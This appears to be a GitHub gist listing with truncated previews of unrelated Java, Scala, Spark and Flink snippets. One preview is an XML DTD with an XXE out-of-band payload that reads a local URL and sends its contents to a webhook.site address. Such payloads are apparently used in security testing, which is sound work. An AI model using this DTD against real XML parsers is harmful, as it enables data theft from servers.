This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import org.apache.spark.sql.SparkSession | |
import org.apache.spark.sql.functions._ | |
object Foo extends App { | |
val spark = SparkSession.builder().master("local[*]").getOrCreate() | |
import spark.implicits._ | |
spark.read.text("/Users/jkuperus/dev/playground/advent-of-code-2023/scala/src/main/resources/day2/input_a.txt") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import org.eclipse.collections.api.map.primitive.IntIntMap; | |
import org.eclipse.collections.api.map.primitive.MutableIntIntMap; | |
import org.eclipse.collections.api.map.primitive.MutableIntObjectMap; | |
import org.eclipse.collections.impl.map.mutable.primitive.IntIntHashMap; | |
import org.eclipse.collections.impl.map.mutable.primitive.IntObjectHashMap; | |
import java.io.*; | |
import java.util.*; | |
/** |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import breeze.linalg._ | |
import breeze.linalg.eig.Eig | |
import breeze.numerics._ | |
import org.apache.spark.ml.clustering.KMeans | |
import org.apache.spark.ml.linalg.{Vectors, DenseVector => SparkDenseVector, Vector => SparkVector} | |
import com.holdenkarau.spark.testing.DataFrameSuiteBase | |
import org.scalatest.FunSuite | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.concurrent.ExecutorService; | |
import java.util.concurrent.Executors; | |
import java.util.concurrent.locks.ReentrantLock; | |
import java.util.concurrent.locks.ReentrantReadWriteLock; | |
public class Foo { | |
ReentrantReadWriteLock readWriteLock = new ReentrantReadWriteLock(); | |
ReentrantReadWriteLock.ReadLock readLock = readWriteLock.readLock(); | |
ReentrantReadWriteLock.WriteLock writeLock = readWriteLock.writeLock(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!ENTITY % payl SYSTEM "http://localhost:1234"> | |
<!ENTITY % int "<!ENTITY % trick SYSTEM 'https://webhook.site/b2f18246-abf9-4689-9e2c-db46bb845c21?%payl;'>"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.ecg.foo | |
import java.io.Serializable | |
import org.apache.flink.api.scala._ | |
import org.apache.flink.streaming.api.TimeCharacteristic | |
import org.apache.flink.streaming.api.datastream.DataStreamSink | |
import org.apache.flink.streaming.api.scala.StreamExecutionEnvironment | |
import org.apache.flink.streaming.api.windowing.assigners.TumblingProcessingTimeWindows | |
import org.apache.flink.streaming.api.windowing.time.Time |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.concurrent.CountDownLatch; | |
import java.util.concurrent.TimeUnit; | |
public class Hiker { | |
private static final class MyRunnable implements Runnable { | |
private final CountDownLatch latch; | |
private final long timeToSpendInThread; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sum(map(heap.objects("org.elasticsearch.common.cache.LocalCache$StrongAccessEntry"),function(it){ | |
return 1; | |
})); | |
RESULT : | |
162771 | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
object Main { | |
def main(args: Array[String]) { | |
val list = Seq("m1", "m2", "m3", "m4") | |
val x = list.map(new Magic().setAdvertisementUrn) | |
println(x) | |
val y = list.map(new Magic2().setAdvertisementUrn) | |
println(y) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.*; | |
import java.util.concurrent.CountDownLatch; | |
import static java.nio.charset.StandardCharsets.*; | |
public class Foo { | |
/* Contents of my-test : | |
#!/usr/bin/env python | |
NewerOlder